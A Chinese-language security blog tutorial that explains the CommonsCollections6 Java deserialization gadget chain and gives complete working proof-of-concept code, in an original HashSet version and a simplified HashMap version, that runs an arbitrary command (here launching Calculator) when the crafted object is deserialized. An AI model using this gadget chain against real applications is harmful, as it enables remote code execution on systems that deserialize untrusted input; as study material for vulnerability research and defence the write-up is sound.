前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全-反序列化-4-CC6

Java安全-反序列化-4-CC6

作者头像
Naraku
发布2022-04-26 08:23:59
4870
发布2022-04-26 08:23:59
举报
文章被收录于专栏:Naraku的专栏

CommonsCollections6

上一篇文章中通过AnnotationInvocationHandler#invoke方法来触发LazyMap#get方法,而AnnotationInvocationHandler这个类在高版本Java(8u71以后)进行了修改,导致该利用链无法利用。

这里讲另一个相对比较通用的Gadget:CommonCollections6,这个Gadget使用了另一个类org.apache.commons.collections.keyvalue.TiedMapEntry,该类在其hashCode方法中调用了getValue,而在getValue中调用了this.map.get,即可以调用LazyMap#get方法。

利用链如下:

代码语言:javascript
复制
/*
Gadget chain:
 java.io.ObjectInputStream.readObject()
  java.util.HashSet.readObject()
   java.util.HashMap.put()
    java.util.HashMap.hash()
     TiedMapEntry.hashCode()
      TiedMapEntry.getValue()
       LazyMap.get()
        ChainedTransformer.transform()
         InvokerTransformer.transform()
          Method.invoke()
           Runtime.exec()
by @matthias_kaiser
*/

TiedMapEntry

TiedMapEntry(Map<K,V> map, K key)

构造POC

  • 这条链主要是找了另一个类来触发LazyMap#get,所以前半段可以直接复用上一篇的POC,并创建一个TiedMapEntry对象
代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.Map;
import java.util.HashMap;

public class CommonCollections6 {
  public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
      ),
      new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}
      ),
      new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
      )
      };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
    
  }
}
  • 根据利用链可知,这里需要找到触发TiedMapEntry#hashCode的方式。另外从前面URLDNS那条链可以得知,先调用HashMap#put,触发其中的HashMap#hash,最后就可以触发TiedMapEntry#hashCode
代码语言:javascript
复制
public V put(K key, V value) {
  return putVal(hash(key), key, value, false, true);
}

// ...

static final int hash(Object key) {
  int h;
  return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

HashSet

HashSet(int initialCapacity)

  • 那么怎样调用HashMap#put呢,这里CC6的利用链用到了HashSet的反序列化,先创建一个HashSet对象
代码语言:javascript
复制
HashSet hashSet = new HashSet(1);
hashSet.add("test");
  • 跟进看一下,发现在readObject方法中会对输入流s进行反序列化,然后将s作为Key来调用map.put()方法
代码语言:javascript
复制
private void readObject(java.io.ObjectInputStream s)
  throws java.io.IOException, ClassNotFoundException {
  // Read in any hidden serialization magic
  s.defaultReadObject();
  
  // Read capacity and verify non-negative.
  int capacity = s.readInt();
  if (capacity < 0) {
    throw new InvalidObjectException("Illegal capacity: " +
                                     capacity);
  }
  
  // Read load factor and verify positive and non NaN.
  float loadFactor = s.readFloat();
  if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
    throw new InvalidObjectException("Illegal load factor: " +
                                     loadFactor);
  }
  
  // Read size and verify non-negative.
  int size = s.readInt();
  if (size < 0) {
    throw new InvalidObjectException("Illegal size: " +
                                     size);
  }
  // Set the capacity according to the size and load factor ensuring that
  // the HashMap is at least 25% full but clamping to maximum capacity.
  capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
                            HashMap.MAXIMUM_CAPACITY);
  
  // Constructing the backing map will lazily create an array when the first element is
  // added, so check it before construction. Call HashMap.tableSizeFor to compute the
  // actual allocation size. Check Map.Entry[].class since it's the nearest public type to
  // what is actually created.
  
  SharedSecrets.getJavaOISAccess()
    .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
  
  // Create backing HashMap
  map = (((HashSet<?>)this) instanceof LinkedHashSet ?
         new LinkedHashMap<E,Object>(capacity, loadFactor) :
         new HashMap<E,Object>(capacity, loadFactor));
  
  // Read in all elements in the proper order.
  for (int i=0; i<size; i++) {
    @SuppressWarnings("unchecked")
    E e = (E) s.readObject();
    map.put(e, PRESENT);
  }
}
  • 然后再看writeObject方法,发现存在逻辑通过for循环来对keySet中的元素进行序列化。如果能够控制key,那么就能控制s
代码语言:javascript
复制
private void writeObject(java.io.ObjectOutputStream s)
  throws java.io.IOException {
  // Write out any hidden serialization magic
  s.defaultWriteObject();
  
  // Write out HashMap capacity and load factor
  s.writeInt(map.capacity());
  s.writeFloat(map.loadFactor());
  
  // Write out size
  s.writeInt(map.size());
  
  // Write out all elements in the proper order.
  for (E e : map.keySet())
    s.writeObject(e);
}

序列化

  • 如果想要控制key元素,那么首先要获取到map这个对象,才能对key进行操作
代码语言:txt
复制
- `Field#get(Object obj)`,返回指定对象上这个字段的值
代码语言:javascript
复制
// 获取HashSet中的map字段
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
// 获取hashSet对象上map字段的值
HashMap hashSetMap = (HashMap) map.get(hashSet);
  • HashMap中有一个table属性,这个属性将<Key,Value>封装在了Node对象中
  • 接下来就是操作hashSetMap这个HashMap对象,修改其中的Key。首先需要获取获取到了table中的Key后,再利用反射修改其为hashSetMap
代码语言:javascript
复制
// 获取HashMap中的table
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] mapArray = (Object[]) table.get(hashSetMap);

// 获取table中Node对象的Key
Object node = mapArray[0];
if (node == null) { node = mapArray[1]; }

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);

// 设置tiedMap为Node对象的Key
key.set(node, tiedMap);

触发漏洞

  • 最后再对hashSet对象进行序列化,并模拟反序列化场景来触发漏洞
代码语言:javascript
复制
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
System.out.println(baos);

// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();

ois.close();
bais.close();
oos.close();
baos.close();

完整代码

代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;
import java.util.HashMap;

public class CommonCollections6 {
  public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
      ),
      new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}
      ),
      new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
      )
      };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
    
    // new HashMap().put(tiedMap, "123");
    HashSet hashSet = new HashSet(1);
    hashSet.add("test");
    
    // 获取HashSet中的map字段
    Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
    map.setAccessible(true);
    HashMap hashSetMap = (HashMap) map.get(hashSet);
    
    // 获取HashMap中的table
    Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
    table.setAccessible(true);
    Object[] mapArray = (Object[]) table.get(hashSetMap);
    
    // 获取table中Node对象的Key
    Object node = mapArray[0];
    if (node == null) { node = mapArray[1]; }
    Field key = node.getClass().getDeclaredField("key");
    key.setAccessible(true);
    
    // 设置tiedMap为Node对象的Key
    key.set(node, tiedMap);
    
    // Serialization
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(hashSet);
    System.out.println(baos);
    
    // Deserialization
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    
    ois.close();
    bais.close();
    oos.close();
    baos.close();
    
  }
}

简化版CC6

来源于P牛对CC6利用链的改造:phith0n/CommonsCollections6.java

这条简化版的利用链不需要用到HashSet,因为在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中调⽤了key.hashCode()

所以只需要让这个key等于TiedMapEntry对象,即构成TiedMapEntry.hashCode(),进而触发后续的利用链

  • 这里参考ysoserial工具,在Transformer数组最后增加了一个ConstantTransformer(1),消除java.lang.UNIXProcess报错
代码语言:javascript
复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.HashMap;

public class CC6 {
  public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
      ),
      new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}
      ),
      new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
      ),
      new ConstantTransformer(1),
    };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    
    TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
    
    // new HashMap().put(tiedMap, "123");
    
    // 不再使⽤原CommonsCollections6中的HashSet, 直接使⽤HashMap
    Map expMap = new HashMap();
    expMap.put(tiedMap, "valuevalue");
    lazyMap.remove("keykey");
    
    // Serialization
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(expMap);
    System.out.println(baos);
    
    // Deserialization
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    
    ois.close();
    bais.close();
    oos.close();
    baos.close();
    
  }
}

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1987782

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 04 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CommonsCollections6
    • TiedMapEntry
      • 构造POC
    • HashSet
      • 序列化
      • 触发漏洞
      • 完整代码
    • 简化版CC6
    相关产品与服务
    文件存储
    文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档